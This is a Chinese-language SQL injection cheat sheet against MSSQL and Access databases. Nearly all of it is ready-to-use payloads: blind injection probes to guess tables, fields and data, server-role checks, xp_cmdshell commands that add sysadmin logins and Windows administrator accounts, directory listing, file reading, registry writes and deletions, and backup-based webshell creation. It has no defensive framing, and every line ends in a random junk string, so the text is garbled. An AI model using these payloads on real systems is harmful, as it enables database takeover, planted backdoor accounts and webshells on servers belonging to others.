1.判断是否有注入;and 1=1 ;and 1=2 /ubGa6N
2.初步判断是否是mssql ;and user>0 O[}2
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3.注入参数是字符'and [查询条件] and ''=' ~:="o/wo
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' a,t]> z95
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5.判断数据库系统 7BgA+Fz
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;and (select count(*) from sysobjects)>0 mssql :n}t7+(>U
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;and (select count(*) from msysobjects)>0 access lt l(SIi
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 h_t<Jl
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 P-N+
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Z+;670Z
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9.(1)猜字段的ascii值(access) w`Z@|A
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X%M*d%n b
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(2)猜字段的ascii值(mssql) =Rf!i78c5
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 f,0oCBLPO
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10.测试权限结构(mssql) 03y5$kQ
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0'y3iar
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Y4/ !b
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <+7-^o_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- DO=zxdTI!
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- WXE{uGc
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Zh.9j7
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;and 1=(select IS_MEMBER('db_owner'));-- .SSj=q4?
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11.添加mssql和系统的帐户 wkZ}o,{*:
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;exec master.dbo.sp_addlogin username;-- !Zf)N_k
;exec master.dbo.sp_password null,username,password;-- ,ffH:3F
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4#@zn 2l
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;exec master.dbo.xp_cmdshell 'net user username password X5D}<J2"
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jJCd2O]
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- E%C02sI
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- I_@XHhyVZ
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12.(1)遍历目录 $nbZ+~49
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;create table dirs(paths varchar(100), id int) w873: =
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Doy7prKI8
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;and (select top 1 paths from dirs)>0 0dgp<
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !j?2HlIK+
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(2)遍历目录 qTL]
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f=Rx8I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 n +z5;'my
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W[Ro)
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vHPp$lql
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z@3t>k|K
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13.mssql中的存储过程 lclSzC9
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xp_regenumvalues 注册表根键, 子键 s`G3SE
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ga~C?H,K
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xp_regread 根键,子键,键值名
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 C-abc+/
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xp_regwrite 根键,子键, 值名, 值类型, 值
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 W7lR54%|
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xp_regdeletevalue 根键,子键,值名 ['~B&
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 -Fe))Y'=
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 E
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14.mssql的backup创建webshell kqfO3{-;{:
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use model f\}fUg2
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create table cmd(str image); "RH pj3 si
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insert into cmd(str) values (''); Y9)uy 8c
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backup database model to disk='c:\l.asp'; db%o3>>e
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15.mssql内置函数 |#);^z_
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;and (select @@version)>0 获得Windows的版本号 dMw0Aw,2]8
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa RG9YA&1ce
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;and (select user_name())>0 爆当前系统的连接用户 )DS|mM)
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;and (select db_name())>0 得到当前连接的数据库 v&p|9C@
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16.简洁的webshell iX]Vkx
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use model Nv@SpV'
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create table cmd(str image); )_eEM1
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insert into cmd(str) values (''); 7cTDbc!E-
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backup database model to disk='g:\wwwtest\l.asp';